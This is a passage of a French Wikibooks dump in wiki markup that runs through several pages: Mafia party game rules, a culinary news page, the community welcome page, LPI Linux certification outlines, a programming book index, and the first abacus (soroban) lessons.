rampot, départager par un coup sec. Variante : Le premier joueur peut déterminer la manière de jouer suivant son propre jeu. S'il a peu de points, il annonce « PETIT » ce qui oblige les adversaires à faire plus petit que lui. Au contraire, il peut annoncer « GROS » pour obliger à faire plus fort. {{BoiteJeux}} Boîte à jeux/Mafia 93 42948 2006-05-21T21:33:06Z 82.236.230.135 De 8 à plus de 20 joueurs <BR/> Durée d'une partie: ~30mn '''But du jeu''': La partie se passe en Sicile, dans un petit village terrorisé par la mafia. Chaque nuit, les mafiosi assassinent un villageois. Le jour, les villageois se réunissent pour condamner à mort un de leurs membres, qu'ils soupçonnent de faire partie de la mafia. L'objectif de chaque joueur est de survivre à ce carnage... '''Matériel:''' Dans un jeu de 54 cartes, prendre un certain nombre de cartes qui vont permettre de tirer au sort les rôles de chaque joueur (un des participants animera le jeu et n'aura donc pas besoin de carte de rôle): * le roi et la dame de pique pour les membres de la mafia (ajouter le valet pour avoir un troisième mafioso à partir de 13 joueurs) * la dame de coeur pour l'ange gardien * des cartes rouges numérotées du 2 au 9 pour les autres villageois. '''Règles''': Un joueur est choisi pour être le maître du jeu. Il ne participera pas au jeu en tant que joueur mais sera chargé de son bon déroulement et devra rester absolument neutre. Il distribue une carte de rôle à chaque joueur. Chacun regarde secrètement son identité: mafioso, ange gardien ou simple villageois. Chaque tour se compose de deux phases; la nuit et le jour. Le meneur de jeu indique la succession des phases. <u>La nuit</u>: le meneur de jeu annonce la tombée de la nuit et demande à tous les joueurs de fermer les yeux en posant leur carte face cachée devant eux. *Il demande alors aux mafiosi de se réveiller. Les joueurs qui ont une carte de mafioso ouvrent alors les yeux et décident silencieusement d'une victime qu'ils désignent au maître de jeu . Quand ils se sont mis d'accord , ils referment les yeux. * Puis il demande à l'ange gardien de se réveiller. La personne qui à la dame de coeur ouvre alors les yeux et désigne un joueur. Le maître du jeu indique par un hochement de tête (oui ou non) si le joueur désigné est un mafioso. Quand ceci est fait, il demande à l'ange gardien de fermer les yeux. <u>Le jour</u>: Chacun ouvre les yeux. Le maître du jeu indique qui été tué la nuit, le joueur concerné retourne sa carte sur la table: il est éliminé de la partie, peut garder les yeux ouverts et ne doit plus communiquer avec les autres joueurs. Une fois que le joueur a été éliminé, les survivants peuvent débattre librement pour essayer de deviner qui fait partie de la mafia. Il est possible d'annoncer publiquement son rôle mais il est aussi possible de mentir. N'importe quel joueur est autorisé à lancer une accusation, il doit alors expliquer pourquoi il accuse un autre joueur d'être membre de la mafia. Le meneur de jeu lance alors une phase de débat pour que chaque joueur puissent se faire une conviction sur cette accusation. Quand il estime que le débat a assez duré, le meneur de jeu propose une dernière fois à l'accusé d'assurer sa défense puis il lance un vote à main levée auquel tous les joueurs participent. Si une majorité des joueurs votent coupable, le joueur est exécuté&nbsp;: il doit retourner sa carte et il est éliminé. Sinon il est acquitté et ne peut plus être accusé une deuxième fois durant cette journée. Quand il n'y a plus d'accusation ou si un joueur a été exécuté, le jour prend fin et le meneur annonce une nouvelle nuit. La partie se termine quand un des deux camps est totalement éliminé (l'ange gardien fait partie du camp des villageois). '''conseils pour le meneur de jeu:'''<br> * Il faut réussir à faire monter l'ambiance pour cela n'hésitez pas à demander aux silencieux leur opinion lors de la phase de débat. A contrario, si celui-ci traîne en longueur lancez une phase de vote ou indiquez que la nuit est tombée. * Il faut veiller à ne pas donner d'indication aux joueurs qui ont les yeux fermés: éloignez vous de la table pour parler, ne faites aucun commentaire, ne donnez aucune indication de sexe ... '''Variantes:''' Il existe une infinité de variantes et de personnages supplémentaires. On peut par exemple ajouter un ''corrompu'' (représenté par le 8 de pique) qui est un personnage comme les autres villageois mais qui joue dans le camp des mafiosi: son identité est connue des mafiosi (il doit faire un signe pour s'identifier la première nuit où les mafiosi ouvrent les yeux) mais le corrompu ne sait pas qui sont les mafiosi. Généralement l'ange gardien ne peut pas détecter le corrompu, mais on peut également tester une variante ou l'ange gardien peut voir la carte du joueur qu'il désigne (le maître de jeu doit alors prendre garde à faire semblant de retourner d'autres cartes ce qui rend la partie un peu plus longue). Une autre variante a été commercialisée récemment : ''Les Loups Garous de Tiercelieux''. Dans ce jeu, les mafiosi sont remplacés par des loups garous et l'ange gardien par une voyante. Plusieurs autres personnages sont aussi ajoutés. Il peut être machiavélique de mélanger les deux jeux, comme c'est le cas avec Mafia Brotherhood. Dans ce cas les mafiosi et les loups garous s'éveillent une nuit sur deux, la voyante ne peut détecter que les loups garous (elle voit les mafiosi comme des villageois normaux) et l'ange gardien ne peut détecter que les mafiosi. On a donc trois camps en présence et seul l'un d'eux devra survivre. Une autre adaptation de ce concept, plus proche du Jeu de Rôle, propose de nombreux personnages originaux ainsi que de nouvelles variantes avec des règles de base légèrement différentes. ''Les Lycanthropes'' permet également de faire intervenir des sectes et d'opposer cette fois non pas deux ou trois camps mais jusqu'à cinq camps en suivant le rythme du calendrier lunaire. * [http://www.princeton.edu/~mafia The Graduate Mafia Brotherhood of Princeton University] (en anglais) * [http://lesloupsgarous.free.fr Les Loups Garous de Thiercelieux] * [http://twingalaxies.free.fr/lyc Les Lycanthropes] {{BoiteJeux}} Art culinaire 94 26928 2005-12-18T00:31:24Z 151.50.8.220 Pas vraiment un wikilivre encore, mais une idée qui m'est venue il y a quelques temps. J'ai créé [[w:fr:Wikipédia:Recettes du mois|recettes du mois]], accessible de la page d'accueil de [[w:fr:wikipedia|Wikipedia]]; cela pourrait donner quelques idées à certains peut-être ? ''Les francophones ont une relation particulière avec la [[w:fr:nourriture|nourriture]], et ont élevé la [[w:fr:cuisine|cuisine]] au rang d'[[art culinaire]]. Nous vous proposons ci-dessous, au fil des jours, des semaines, des mois, un compendium d'articles pouvant vous intéresser dans l'activité quotidienne d'achat de produits, de réalisation des [[w:fr:repas|repas]], d'information portant sur la [[w:fr:sécurité alimentaire|sécurité alimentaire]].'' === Novembre 2003 === * '''Recette''' : Il faut commencer à se préparer psychologiquement. Pour ceci, nous vous proposons de préparer votre propre [[w:fr:Foie_gras|foie gras]]. Hummm. * '''Recette''' : Une recette particulièrement savoureuse de [[Ratatouille]] par [[w:fr:Utilisateur:Fenkys|Fenkys]] (pour compenser le foie gras) === Octobre 2003 === * '''Recette''' : [[Cornes de gazelles]] - la recette de la fameuse [[pâtisserie marocaine]] * '''Recette''' : comment faire son propre [[pain de campagne]] * '''Produit alimentaire''' : de très nombreux articles sont apparus sur le thème des [[fromage]]s : voir [[Fromages par type de pâte]] * '''Actualités''' : [[Aliment OGM]] : [[w:fr:Monsanto|Monsanto]] annonce son intention de quitter le marché des [[céréale]]s [[w:fr:Europe|européen]] en raison d'un faible taux de pénétration. Voir aussi [[w:fr:OGM|OGM]] ===Septembre=== * '''Sécurité alimentaire''' : l'[[additif alimentaire]] ===Août 2003=== *'''Recette''' : cuisine des îles avec le [[Blaff de poissons]] === Juillet 2003 === * '''Culture''' : art culinaire chinois avec [[w:fr:Utilisateur:Vincent Ramos|Vincent Ramos]] : voir '''[[Thé chinois]]'''. * '''Politique''' : le mouvement [[w:fr:Slow Food|Slow Food]] * '''Actualités''' : Le Parlement européen vote deux lois qui vont permettre de lever le moratoire sur les [[w:fr:OGM|OGM]]. La première loi rend obligatoire l'étiquetage de tout aliment destiné à l'usage humain ou animal au dela de 0,9 % (pas d'étiquetage des animaux ayant consommé des céréales OGM). La deuxième loi impose l'[[w:fr:étiquetage|étiquetage]] à tout produit alimentaire contenant des OGM non-autorisés dans l'Union, au delà de 0,5 % pendant 3 ans. Après 3 ans, ces produits seront interdits. ===Mai 2003=== *'''Découverte du monde''' : découvrez la [[Cuisine indienne]] avec [[Utilisateur:Nataraja|Nataraja]]; en particulier, les [[épice]]s et les desserts tels que les [[Gulabjamans]] ===Avril 2003=== * '''Découverte du monde''' : mois "[[Cuisine japonaise|Japonais]]" grâce à [[w:fr:Utilisateur:Rinaldum|Rinaldum]]; découvrez les [[Sushi]]. ===Mars 2003=== * '''Produit alimentaire''' : découvrez la [[bière]]. === Février 2003 === * '''Actualités''' : En France, suicide du grand chef cuisinier [[w:fr:Bernard Loiseau|Bernard Loiseau]] à son domicile de Saulieu en Côte d'Or. Il était âgé de 52 ans. * '''Politique''' : Savez vous ce que sont les "freedom fries" ? Eh oui ! Un nouveau nom pour les frites dans les cafétérias américaines. Courez vite voir sur [[w:en:freedom fries|freedom fries]] (en anglais) * '''Recette''' : dégustez le [[Gâteau de crêpes]] ===Janvier 2003 === * '''Recette''' : la [[Galette des rois]] ===Décembre 2002 === * '''Actualités''' : en France, avec trois autres dirigeants du groupe, Christian Picart, fondateur de la chaîne de restaurants "[[w:fr:Buffalo Grill|Buffalo Grill]]" est poursuivi pour "homicides involontaires". Ils sont soupçonnés d'avoir frauduleusement importé, entre 1996 et 2000, de la viande britannique alors sous embargo en raison de la crise de la vache folle. ===Novembre 2002=== * '''Culture''' : à la découverte de la [[cuisine médiévale]] grâce à [[w:fr:Utilisateur:Rinaldum|Rinaldum]] avec le [[w:fr:Viandier de Taillevent|Viandier de Taillevent]]. ===Juin 2002 === *'''Actualités''' : l'Union européenne a ratifié le protocole sur la [[w:fr:biosécurité|biosécurité]], également appelé [[w:fr:protocole de Carthagène|protocole de Carthagène]]. **Le protocole vise à établir des règles internationales sur le commerce des organismes génétiquement modifiés. Il a déjà été signé par 110 pays à travers le monde, et vient d'être ratifié par 20 d'entre eux. Cinquante ratifications sont cependant nécesaires pour l'entrée en vigueur du traité. **Les pays signataires s'engagent à rendre public toutes les informations relatives aux risques pouvant être engendrés dans la circulation et les échanges d'[[w:fr:OGM|OGM]], en particulier les risques relatifs à la santé humaine et à l'environnement (voir [[w:fr:sûreté biologique|sûreté biologique]]). [[de:Kochbuch]] [[en:Cookbook]] [[eo:Kuirlibro]] [[es:Artes culinarias]] [[it:Libro di cucina]] [[nl:Kookboek]] Wikilivres:Accueil 95 44203 2006-06-09T03:17:39Z Meithal 774 pas besoin ici __NOTOC__ L''''accueil''' communautaire est le point de départ pour les contributeurs réguliers de [[Wikilivres]]. La discussion en temps réel est sur le canal [[w:IRC|IRC]] [irc://irc.freenode.net/wikibooks-fr #wikibooks-fr] du réseau [[w:Freenode|Freenode]]. ==À faire== *Répondre aux questions sur [[wikilivres:Le Bistro|le Bistro]]. *Débattre et voter sur les [[wikilivres:pages à supprimer|pages à supprimer]]. *Débattre et voter sur les [[Wikilivres:Prise de décision|prises de décision]] en cours. *Débuter les wikilivres des [[Wikilivres:Demande de livre|demandes de livre]]. ==À propos== *[[:catégorie:Wikilivres:Aide|Wikilivres:Aide]] *[[Wikilivres:Foire aux questions|Foire aux questions]] *[[Wikilivres:Ressources libres de droit|Ressources libres de droit]] *[[Projet:Charte pédagogique|Charte pédagogique]] ==Les modèles== *[[wikilivres:modèles]] ==Conciergeries== *Vérifier régulièrement [[w:MediaWiki:Sitenotice]] pour màj [[MediaWiki:Sitenotice]] *[[MediaWiki:Recentchangestext]] ==Les projets Wikilivres== ===La Wikiversité=== La [[Wikiversité]] est une université virtuelle communautaire, collaborative, libre et gratuite, pour apprendre et pour la recherche. Des livres, des cours en ligne sont créés ici sous forme coopérative et d'échanges interactifs de connaissances. ===Wikijunior=== [[Wikijunior]] consiste à réaliser un ensemble de livres et un ou plusieurs magazines à destination des enfants âgés de 8 à 11 ans. ==Les contributeurs== *[[Wikilivres:Wikipédiens_par_pays|Wikipédiens_par_pays]] *[[Wikilivres:Wikip%C3%A9diens_par_th%C3%A8mes_d%27int%C3%A9r%C3%AAt|Wikipédiens_par_thèmes_d'intérêts]] *Les [[wikilivres:administrateurs|administrateurs]] *Les [[wikilivres:bureaucrate|bureaucrates]] ==Miscellanées== *[[Wikilivres:Revue de presse|Revue de presse]] {{Projets Wikimedia}} Certifications Linux LPI 96 45725 2006-06-25T20:46:50Z Greudin 1 wkf {{LPIC}} {{Avertissement LPI}} Les '''certifications Linux LPI''' sont les plus connues et sont organisées par [http://www.lpi.org LPI]. Il y a trois niveaux de certification, et chaque niveau comprend deux examens : == Administrateur système débutant == * [[LPIC1 examen 101]] * [[LPIC1 examen 102]] == Administrateur système avancé == * [[LPIC2 examen 201]] * [[LPIC2 examen 202]] == Administrateur système expert == * '''LPI 301 français''' (examen en préparation) * '''LPI 302 français''' (examen en préparation) == Liens externes == * [https://www.lpi.org/fr/lpic.html LPI Certifications] * [http://www.supinfo-training.com/formation-linux/ Formation Linux LPI] en partenariat avec le [http://www.labo-linux.org Laboratoire Supinfo des technologies GNU/Linux] * [http://www.mandriva.com/en/partners/training/catalogue Formation profesionnelle Mandriva/LPI] : Mandriva vous permet de vous préparer à la certification via des manuels (en Francais) certifiés par LPI ainsi que de passer la certification en Francais (En france, seul Mandriva le propose). [[en:LPI Linux Certification]] LPIC1 examen 101 97 44603 2006-06-16T07:25:25Z 82.233.107.212 library == bibliothèque != librairie {{LPIC}} {{Avertissement LPI}} Ce livre fait partie de la '''[[Certifications Linux LPI|certification Linux]]''' de Linux Professional Institute (LPI). Il est destiné à aider à la préparation de l'examen 101 pour la certification LPIC1 (niveau 1) du Linux Professional Institute™. Il y a 3 niveaux de certifications LPI™ (Administrateur débutant, Administrateur intermédiaire, et Administrateur expert) et chaque niveau nécessite de passer deux examens. Ce livre concerne seulement la préparation du premier examen pour être certifié Administrateur débutant ('''LPIC1 examen 101'''). Ce cours n'a pas une approbation officielle de LPI. * [[Objectifs détaillés (LPIC101)|Objectifs détaillés]] L'examen 101 de la Certification LPI niveau 1 porte sur les points suivants : * [[Matériel & Architecture (LPIC101)|Matériel et architecture]] ** 1.101.1 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Configurer_les_bases_du_BIOS | Configurer les bases du BIOS]] ** 1.101.3 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Configurer_un_modem_et_une_carte_son | Configurer un modem et une carte son]] ** 1.101.4 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Installer_des_p.C3.A9riph.C3.A9riques_SCSI | Installer des périphériques SCSI]] ** 1.101.5 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Param.C3.A9trer_diff.C3.A9rentes_cartes_d.27extension_PC | Paramétrer les cartes d'extension PC différentes]] ** 1.101.6 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Configurer_les_p.C3.A9riph.C3.A9riques_de_communication | Configurer les périphériques de communication]] ** 1.101.7 [[Mat%C3%A9riel_%26_Architecture_%28LPIC101%29#Configurer_des_p.C3.A9riph.C3.A9riques_USB | Configurer des périphériques USB]] * [[Installation de Linux & Gestion des Packages (LPIC101)|Installation de linux et gestion des ''packages'']] ** 1.102.1 Conception de disposition (layout) de disque dur ** 1.102.2 Installer un gestionnaire de démarrage (''boot manager'') ** 1.102.3 Compiler et installer des programmes à partir des sources ** 1.102.4 Gérer les bibliothèques partagées ** 1.102.5 Utiliser le gestionnaire de ''packages'' Debian ** 1.102.6 Utiliser le gestionnaire de ''package'' Red Hat (RPM) * [[GNU & commandes Unix (LPIC101)|GNU et commandes Unix]] ** 1.103.1 Travailler en ligne de commande ** 1.103.2 Contrôler des flux de texte à l'aide des filtres ** 1.103.3 Effectuer la gestion de base des fichiers ** 1.103.4 Utiliser les ''streams'', ''pipes'', et redirections ** 1.103.5 Créer, contrôler et arrêter des processus ** 1.103.6 Modifier la priorité d'exécution d'un processus ** 1.103.7 Recherche sur des fichiers texte avec des expressions réguliéres ** 1.103.8 Réaliser les opérations d'édition de base avec l'éditeur VI * [[Périphériques & Systèmes de fichiers Linux (LPIC101)|Périphériques et systèmes de fichiers Linux]] ** 1.104.1 Créer des partitions et des systèmes de fichiers ** 1.104.2 Préserver l'intégrité des systèmes de fichiers ** 1.104.3 Contrôler le montage et démontage d'un systeme de fichiers ** 1.104.4 Gérer les quotas disque ** 1.104.5 Utiliser les permissions pour contrôler l'accès aux fichiers ** 1.104.6 Gérer la propriété des fichiers ** 1.104.7 Créer et changer des liens symboliques ou réels ** 1.104.8 Trouver les fichiers système et les placer au bon emplacement * [[X Window (LPIC101)|X Window]] ** 1.110.1 Installer et configurer XFree86 ** 1.110.2 Installer un gestionnaire d'affichage ** 1.110.4 Installer et configurer un gestionnaire d'environnement graphique == Voir aussi == * [[LPIC1 examen 102]] == Liens externes == * [https://www.lpi.org/fr/obj_101.html Objectifs] * [https://www.lpi.org/fr/tasks_101.html Tâches] [[en:LPI Linux Certification/LPIC1 Exam 101]] Programmation 98 30359 2006-01-25T18:36:29Z Boly38 136 +es interlangue ='''Programmation'''= Cet ouvrage a pour but de permettre d'apprendre la programmation, toute la programmation, rien que la programmation. Il a vocation de permettre d'apprendre tous les langages, méthodes, outils et techniques en rapport avec la programmation. Pour ce faire, nous étudierons les différentes étapes d'un projet logiciel, et ce du général au particulier : * Gestion de projet, car de nos jours, il ne peut plus y avoir de projet informatique cohérent sans organisation. * L'analyse, étape indispensable permettant de déterminer ce qui doit être fait. * Les techniques de programmation, à travers les différents paradigmes de programmation, l'algorithmique, les objectifs de la programmation, l'étude détaillée de chaque langage, l'optimisation et les différents outils disponibles. == Table des matières == [[Introduction à la programmation|Introduction]] {{Sous section|nom=Programmation/Processus de développement|couleur=lightblue|couleurbord=black|couleurfond=white}} {{Sous section|nom=Programmation/Paradigmes de programmation|couleur=lightblue|couleurbord=black|couleurfond=white}} {{Sous section|nom=Programmation/Langages de programmation|couleur=lightblue|couleurbord=black|couleurfond=white}} {{Sous section|nom=Programmation/Tuning et optimisation|couleur=lightblue|couleurbord=black|couleurfond=white}} {{Sous section|nom=Programmation/Environnements et outils|couleur=lightblue|couleurbord=black|couleurfond=white}} {{Sous section|nom=Programmation/Annexes|couleur=lightblue|couleurbord=black|couleurfond=white}} [[en:Computer programming]] [[es:Manual Básico para un Programador]] [[gl:Introdución á programación]] S'initier au boulier en 10 leçons 99 26009 2005-11-24T17:45:55Z Marc 66 * [[S'initier au boulier en 10 leçons - Introduction|Introduction]] * [[S'initier au boulier en 10 leçons - Leçon 1|Bases et vocabulaire]] * [[S'initier au boulier en 10 leçons - Leçon 2|Les 8 techniques de l'addition]] * [[S'initier au boulier en 10 leçons - Leçon 3|Les 8 techniques de la soustraction]] * [[S'initier au boulier en 10 leçons - Leçon 4|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 5|La multiplication]] * [[S'initier au boulier en 10 leçons - Leçon 6|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 7|La division]] * [[S'initier au boulier en 10 leçons - Leçon 8|Exercices]] * [[S'initier au boulier en 10 leçons - Leçon 9|La base hexadécimale avec le boulier chinois]] * [[S'initier au boulier en 10 leçons - Leçon 10|Exercices]] [[Catégorie:Mathématiques]] S'initier au boulier en 10 leçons - Introduction 100 24112 2005-10-23T21:11:14Z 81.65.9.177 /* Introduction */ {{Boulier}} === Introduction === Le boulier est un instrument de calcul très ancien qui a été utilisé dans toutes les régions du monde. Actuellement, on le rencontre encore en Asie (Chine et Japon principalement) et même en Europe de l'est, où il constitue toujours une méthode de calcul très courante, notamment sur les marchés. L'objectif de cette page n'est pas de présenter l'histoire du boulier mais son utilisation&nbsp;: vous trouverez ici une initiation au boulier en 10 leçons. Ce cours est dans sa première partie inspiré du livre <i>Le Boulier - Initiation</i> de Jean Cumin et Jean Hossenlopp. Il existe plusieurs méthodes pour utiliser un boulier. Les méthodes présentées ici sont un mélange de méthodes personnelles et de méthodes très classiques et souvent japonaises (les méthodes japonaises sont réputées plus efficaces). S'initier au boulier en 10 leçons - Leçon 1 102 40528 2006-04-18T12:30:49Z 80.11.11.249 /* des nombres */ {{Boulier}} '''Leçon 1 - Bases et vocabulaire''' == Les types de bouliers == Il existe plusieurs types de bouliers, correspondant à des époques et des pays différents. Actuellement, on trouve principalement des bouliers russes, chinois et japonais. Les plus utilisés sont les bouliers chinois et japonais : * Boulier chinois dit ''suanpan'' (算盘) ; 7, 9, 11 ou 13 colonnes ; 2 boules supérieures (''quinaires'') par colonnes et 5 boules inférieures (''unaires'') séparées par une barre transversale. * Boulier japonais dit ''soroban'' ; 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29 ou 31 colonnes ; 1 quinaire et 5 unaires ; points de repères * Soroban moderne (1922, de plus en plus utilisé au Japon depuis 1945) ; 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29 ou 31 colonnes ; 1 quinaire et 4 unaires ; points de repères Les points de repères des sorobans permettent de repérer une colonne comme colonne des unités. C'est utile pour les opérations à virgules ou pour les opérations entières avec des 0. Le choix d'une colonne des unités est bien sûr libre mais ces points de repères peuvent être une aide précieuse. Dans ce cours, nous utiliserons un soroban moderne avec un nombre de colonnes réduit au minimum exigé par les exemples étudiés. == Unaires, quinaires et décadaires == Les unaires sont les boules inférieures. Lorsqu'elles sont collées à la barre transversale (on dit qu'elles sont activées), elles valent chacune 1. Les quinaires, les boules supérieures, valent 5. == Écriture == === des chiffres === Ce système permet d'écrire les chiffres de 0 à 9 de la manière suivante : <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 || align="center" | 1 | align="center" | 2 | align="center" | 3 || align="center" | 4 | align="center" | 5 | align="center" | 6 || align="center" | 7 | align="center" | 8 || align="center" | 9 |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] |} </center> <i>Légende</i> Dans ce tableau comme dans les leçons suivantes, on utilise la convention ci-dessous&nbsp;: [[Image:Boule-noire.png]] Boule activée <br />[[Image:Boule-rouge.png]] Boule à déplacer <br />[[Image:Boule-grise.png]] Boule désactivée === des nombres === Pour écrire un nombre, il suffit de considérer, comme dans l'écriture décimale, que chaque rangée correspond à une puissance de 10 La première rangée à droite étant la rangée des unités, la seconde celle des dizaines, etc. L'écriture de 3572 s'effectue alors de la manières suivante : <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | 3 | align="center" | 5 | align="center" | 7 | align="center" | 2 |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br/>[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |} </center> On peut aussi écrire des nombres décimaux, à condition d'identifier la rangée qui représente celle des unités. Certains bouliers ont d'ailleurs un marqueur prévu à cet effet. Pour écrire 35,72 par exemple, il suffit de préciser que la troisième rangée sera celle des unités. Les deux rangées à droite de celle-ci deviennent alors la rangée des dixièmes et la rangée des centièmes. L'écriture sera alors identique à la précédent === Variantes === Il faut noter que le soroban ancien et le suanpan, parce qu'ils disposent de plus de boules, offrent plusieurs possibilités pour écrire un même nombre. Il est conseillé d'en choisir une et de s'y tenir. On peut également utiliser ces boules supplémentaires pour compter dans d'autres bases que la base 10 (base 11 pour le soroban ancien et bases 11 à 16 pour le suanpan). Les trois formes de bouliers permettent en tout cas de compter dans les bases 2 à 10. Évidemment, ce cours se concentrera sur la base 10. Lors d'un calcul faisant intervenir plusieurs colonnes, on appelle ''décadaires'' les unaires de la colonne immédiatement à gauche de la colonne choisie pour les unités. == Le doigté == Le doigté est la manière de manipuler les boules. Il est très important d'apprendre un doigté car de celui-ci dépend beaucoup la rapidité d'utilisation du boulier. Il existe plusieurs techniques à deux ou trois doigts. Voici le doigté le plus utilisé au Japon, à deux doigts : * Les quinaires sont manipulées avec l'index. * Les unaires sont activées avec le pouce et désactivées avec l'index. * Les deux doigts utilisés doivent former avec la table un angle d'environ 45&nbsp;degrés. Les autres doigts doivent être repliés pour ne pas gêner. S'initier au boulier en 10 leçons - Leçon 2 103 43337 2006-05-28T17:02:48Z 82.234.80.19 /* Technique 2 - Doigté : activer une quinaire avec l'index */ {{Boulier}} '''Leçon 2 - L'ADDITION ''' <Br/> <br/> Maintenant que l'écriture des nombres est bien acquise, il est possible de commencer les additions. <BR/> == Les 8 techniques de l'addition à un chiffre == Les additions dont les opérandes ne disposent que d'un chiffre se réalisent en différentes étapes qu'il convient d'apprendre. Par exemple, 8 correspondant à 10-2, 3+8 correspond à 3-2+10. Les techniques d'addition nécessitent donc d'avoir au préalable bien compris (et appris) le tableau de correspondances suivant: {| border="1" cellspacing="0"| |- |align="center" width = "40"|1 |align="center" width = "40"|2 |align="center" width = "40"|3 |align="center" width = "40"|4 |align="center" width = "40"|5 |align="center" width = "40"|6 |align="center" width = "40"|7 |align="center" width = "40"|8 |align="center" width = "40"|9 |- |align="center" width = "40"|5 - 4 |align="center" width = "40"|5 - 3 |align="center" width = "40"|5 - 2 |align="center" width = "40"|5 - 1 |align="center" width = "40"|.. |align="center" width = "40"|... |align="center" width = "40"|... |align="center" width = "40"|... |align="center" width = "40"|... |- |align="center" width = "40"|10 - 9 |align="center" width = "40"|10 - 8 |align="center" width = "40"|10 - 7 |align="center" width = "40"|10 - 6 |align="center" width = "40"|10 - 5 |align="center" width = "40"|10 - 4 |align="center" width = "40"|10 - 3 |align="center" width = "40"|10 - 2 |align="center" width = "40"|10 - 1 |} Les opérations à plusieurs chiffres sont simplement des opérations à un chiffre successives (du chiffre de poids le plus fort (gauche) au chiffre de poids le plus faible (droite)). En tout, on compte pour l'addition 8 techniques. === Technique 1 - Doigté : activer des unaires avec le pouce === Cette technique s'applique lorsqu'il reste suffisamment de unaires désactivées , c'est-à-dire pour les sommes suivantes: <br />0+1 ; 0+2 ; 0+3 ; 0+4 ; <br />1+1 ; 1+2 ; 1+3 ; <br />2+1 ; 2+2 ; <br />3+1 ; <br />5+1 ; 5+2 ; 5+3 ; 5+4 ; <br />6+1 ; 6+2 ; 6+3 ; <br />7+1 ; 7+2 ; <br />8+1 Exemple : 6+2=8 <center> {| cols="5" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br 